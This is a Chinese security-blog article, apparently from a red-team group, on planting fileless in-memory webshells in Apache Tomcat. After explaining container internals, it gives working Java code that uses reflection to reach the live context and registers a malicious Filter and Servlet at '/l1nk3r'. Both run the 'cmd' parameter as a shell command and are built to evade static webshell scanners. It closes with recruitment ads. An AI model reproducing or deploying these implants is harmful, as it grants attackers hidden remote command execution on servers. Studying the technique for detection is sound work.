vlambda博客
学习文章列表

基于Tomcat无文件Webshell研究

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

概述

红蓝对抗阶段,如果上传的Webshell,由于存在或多或少的明显特征,所以极易被开发者发现,因此需要针对Web进行隐藏。这里攻防一般会采用关键字混淆来躲避一些静态Webshell扫描工具的检查,这里笔者针对Tomcat这个容器下的无文件Webshell进行了一些研究。

No.3

知识铺垫

1、servlet和filter

Servlet 主要的作用的是可以动态的生产Web页面,他执行在客户端请求和服务器响应的之间。
Filter 是一段可以复用的代码,它用来拦截HTTP请求、响应、进行一些处理和转换,大家常见一些Javaweb项目会在 Filter 位置创建一些XSS拦截器或者SQL拦截器,用来统一处理SQL注入漏洞或者XSS漏洞,原因就是在这里。Filter 无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。


2、生命周期

Servlet :Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

  • 装入:启动服务器时加载Servlet的实例

  • 初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成

  • 调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法

  • 销毁:停止服务器时调用destroy()方法,销毁实例


Filter:自定义Filter的实现,一定要求javax.servlet.Filter下的三个方法的实现,它们分别是init()、doFilter()、destroy()

  • 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;

  • 每一次请求时都只调用方法doFilter()进行处理;

  • 停止服务器时调用destroy()方法,销毁实例。


3、Container – 容器组件

Tomcat中的 Container 用于封装和管理 Servlet ,以及具体处理Request请,在Connector内部包含了4个子容器:

Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

这四个字容器实际上是自上向下的包含关系

Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。

而对于一个 Tomcat 的web目录,对应关系实际是这样的:Webapps 对应的就是 Host 组件,045 和 example 对应的就是 Context 组件,Wrapper 就是容器内的 Servlet了。

基于Tomcat无文件Webshell研究

4、启动加载顺序

加载过程在 StandardContext 中找到 startInternal 方法。

@Override
protected synchronized void startInternal() throws LifecycleException {
//设置webappLoader 代码省略
//Standard container startup 代码省略
try {

// Set up the context init params
mergeParameters();

// Configure and call application event listeners
if (ok) {
if (!listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}
// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}

// Start ContainerBackgroundProcessor thread
super.threadStart();
} finally {
// Unbinding thread
unbindThread(oldCCL);
}
}

首先 listenerStart 是根据 web.xml 当中的<listener>标签进行装填配置。

<listener>
<listener-class>xxx.xxxxContextListener</listener-class>
</listener>

主要是通过this.findApplicationListeners();获取StandardContext当中的listener数组,然后通关循环的方式分别取出,交给this.getInstanceManager().newInstance(listener);进行实例化注册。

基于Tomcat无文件Webshell研究
基于Tomcat无文件Webshell研究

然后添加到 lifecycleListeners 数组当中。

基于Tomcat无文件Webshell研究

最后再重新添加到 StandardContext 当中。

基于Tomcat无文件Webshell研究

其次 filterStart 主要作用就是从 StandardContext 当中的 filterDefs 对象中获取 filter ,然后把这部分的内容放入到 filterConfigs 当中

基于Tomcat无文件Webshell研究

最后 findChildren 根据 StandardContext 当中的 children 当中的 servlet 对象进行转换,然后将这些内容分别添加至 Container 对象当中,前面我们提到过了一个 StandardWrapper 代表一个 servlet 。

基于Tomcat无文件Webshell研究
基于Tomcat无文件Webshell研究

从代码中可以看到,加载顺序 context-param->listeners->filters->servlets :

  • 首先初始化 context-param 节点

  • 接着配置和调用 listeners 并开始监听

  • 然后配置和调用 filters ,filters 开始起作用

  • 最后加载和初始化配置在 load on startup 的 servlets

No.4

技术实现

从 servlet3.0 开始,提供了动态注册 Servlet 、filter 、Listener,这里我们优先关注 Servlet 和 filter ,因为 Servlet 能够帮助我们接受 request 请求和 response 响应,并且针对传入内容进行操作,当然 filter 也是可以做得到的。

<T extends Filter>createFilter(Java.lang.Class<T> clazz)
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class<? extends Filter> var2);


<T extends Servlet>createServlet(java.lang.Class<T> clazz)
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class<? extends Servlet> var2);

1、获取上下文对象

servlet 的上下文全部存放在 ServletContext 中。

方法一:通过当前 request 对象获取 ServletContext 。

request.getSession().getServletContext();

基于Tomcat无文件Webshell研究

这时候问题出现了,如何获取运行状态中上下文中的 request 对象,这里需要感谢这两篇文章提供思路《Tomcat中一种半通用回显方法》、《基于tomcat的内存 Webshell 无文件攻击技术》。

org.apache.catalina.core.ApplicationFilterChain当中存在两个static对象分别是:

private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

而在这个逻辑中当ApplicationDispatcher.WRAP_SAME_OBJECT为 true 的情况下,就会把 request 对象和response 对象暂存在 lastServicedRequest 和 lastServicedResponse 当中。

if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

这种方法需要修改3个部分,通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT判断结果为true。

Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}

通过反射初始化 lastServicedRequest 存放 request 对象。

//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}

通过反射初始化 lastServicedResponse 存放 response 对象。

//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}

通过上述方法成功能在下一次请求中获取上下文的 servletContext 对象。

基于Tomcat无文件Webshell研究


方法二:通过 Thread.currentThread().getContextClassLoader() 获取上下文中的 StandardContext 。

这种方法是在《基于全局储存的新思路 | Tomcat的一种通用回显方法研究》中提到的。

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

基于Tomcat无文件Webshell研究

这种方式其实存在缺陷,tomcat 7 的结构不太一样,导致 tomcat 7 这种方法拿不到上下文中的 StandardContext 。

Thread.currentThread().getContextClassLoader();

基于Tomcat无文件Webshell研究


方法三:在 spring 项目中通过 spring 容器来获取 servletContext 对象

ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();

基于Tomcat无文件Webshell研究

这种情况下有一定的限制,就是 servletContext 值的初始化的 servletContextListener 一定要在 org.springframework.web.context.ContextLoaderListener 之前加载。

当然为了使得针对环境的依赖尽量的少,这里不是很推荐第三种在 spring 容器来获取 servletContext 对象。


2、构造内存shell

我们都知道在 servlet 结构下,要让 servlet 被外界访问到,比如在 web.xml 之中进行一些映射工作。

基于Tomcat无文件Webshell研究

前面提到过从 servlet3.0 开始,提供了动态注册 Servlet 、filter ,这里我们分别看看针对 Servlet 和 filter 如何进行动态注册。

Filter
先写一个恶意的 filter ,前面说过 filter 的实现,需要分别实现三个接口 init 、doFilter 、destroy 。

基于Tomcat无文件Webshell研究

Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
}

@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {

HttpServletRequest req = (HttpServletRequest) arg0;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
arg1.getWriter().write(output);
arg1.getWriter().flush();
return;
}
arg2.doFilter(arg0, arg1);
}

@Override
public void destroy() {

}
}

Tomcat 在 org.apache.catalina.core.ApplicationContextFacade 当中实现了之前我们说的 ServletContext 中的 addFilter 和 addServlet ,这里我们分别看看,先看 addFilter 的实现,这部分实现在 ApplicationContext#addFilter 当中。

原因在于 Tomcat 只允许初始化的时候完成调用这几个方法。一旦容器初始化已经结束,调用时就会出现异常

基于Tomcat无文件Webshell研究

在 addFilter 中,代码的作用实际就是新建一个 filterDef 然后调用this.context.addFilterDef(filterDef);进行添加了而已。完全可以通过反射的方式获取 context 自行进行添加,绕过这个部分。

Filter filter = new filter(){恶意代码}
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);

而 tomcat 的 filter 创建是在 StandardWrapperValve#invoke 当中。

基于Tomcat无文件Webshell研究

在 ApplicationFilterFactory.createFilterChain 当中,主要首先先从 StandardContext 对象中获取filterMaps ,然后循环遍历 filterMaps ,最后再添加到 filterChain 当中。

基于Tomcat无文件Webshell研究

而该 filterName 正是我们最开始我们在 web.xml 中进行添加的部分。

基于Tomcat无文件Webshell研究

所以再回到我们之前的问题当中,我们构造好了 filterDef ,当时并没有添加进 filterMap 当中,既然没有添加到 filterMap ,那我们给他加进去不就完事了。

FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/l1nk3r");
standardContext.addFilterMapBefore(m);

主要关注 standardContext.addFilterMapBefore 这个方法,这个方法最终的效果是要把我们创建的 filterMap 丢到第一位去。因为从刚刚 ApplicationFilterFactory.createFilterChain 当中,我们知道这个顺序是从头到尾,看是一次次创建的,所以放到最前面是很有必要的。

基于Tomcat无文件Webshell研究

最后还有一个问题需要解决,如何将 filter 添加到 filterConfigs 当中。关注 StandardContext#filterStart 方法就可以知道,遍历了 filterDefs 当中 filterName ,然后把对应的 name 添加到 filterConfigs 当中。

filterConfig = new ApplicationFilterConfig(this, (FilterDef)this.filterDefs.get(name));
this.filterConfigs.put(name, filterConfig);

那么参考这部分例子,很简单了再通过反射,在构造器实例化的时候把 filterConfig 加入到 filterConfigs 当中。

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

基于Tomcat无文件Webshell研究

这里有个小细节,tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不太一样。

tomcat 7:

org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;

tomcat 8:

org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;


Serlvet

先写一个恶意的 servlet ,接口下需要有 init 、getServletConfig、service、getServletInfo、destroy,不然会有异常。

基于Tomcat无文件Webshell研究

Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {

}
};

回忆一下,前面提到过的 tomcat 中的启动加载顺序:context-param->listeners->filters->servlets ,而且容器加载 servlet ,加载顺序按照 Load-on-startup 来执行。

// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}

再回忆一个知识点,tomcat 的一个 Wrapper 代表一个 Servlet ,而相关对象均在 StandardContext 的children 。

基于Tomcat无文件Webshell研究

那么现在我们回过头来看看,我们知道 Wrapper 负责管理 Servlet ,而之前在动态加载 filter 的时候,我们通过 standardContext 当中的 addFilterDef 和 addFilterMap 来完成了 filter 的动态添加。那么是否在 standardContext 当中也能完成 Wrapper 的动态添加呢?答案是肯定的,createWrapper 就能够搞定了,实例化一个新的 Wrapper 对象,把相关内容写进去。

org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
newWrapper.setName(n);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

这里这时候又有一个问题了,这个新建的 Wrapper 对象,并不在 StandardContext 的 children 当中,别急,我们可以通过 StandardContext#addChild 把它加到 StandardContext 的 children 当中。

public void addChild(Container child) {
Wrapper oldJspServlet = null;
if (!(child instanceof Wrapper)) {
throw new IllegalArgumentException(sm.getString("standardContext.notWrapper"));
} else {
boolean isJspServlet = "jsp".equals(child.getName());
if (isJspServlet) {
oldJspServlet = (Wrapper)this.findChild("jsp");
if (oldJspServlet != null) {
this.removeChild(oldJspServlet);
}
}
super.addChild(child);
if (isJspServlet && oldJspServlet != null) {
}
}

当然最后还需要将我们的 Wrapper 对象,和访问的 url 进行绑定。

stdcontext.addChild(newWrapper);
stdcontext.addServletMapping("/l1nk3r",n);

基于Tomcat无文件Webshell研究

这种方法我觉得通用性更高一点,是实际测试下来,tomcat 7 和 8 能够通用。

No.5

demo

录了两个 demo ,第一个是通过反序列化直接注入 filter shell 。

基于Tomcat无文件Webshell研究

第二次仿造文件上传,注入一个 servlet shell 。

基于Tomcat无文件Webshell研究

No.6

招聘启事


简历投递至 [email protected]


设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 [email protected]

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 [email protected]


岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 [email protected]

专注渗透测试技术

全球最新网络攻击技术

END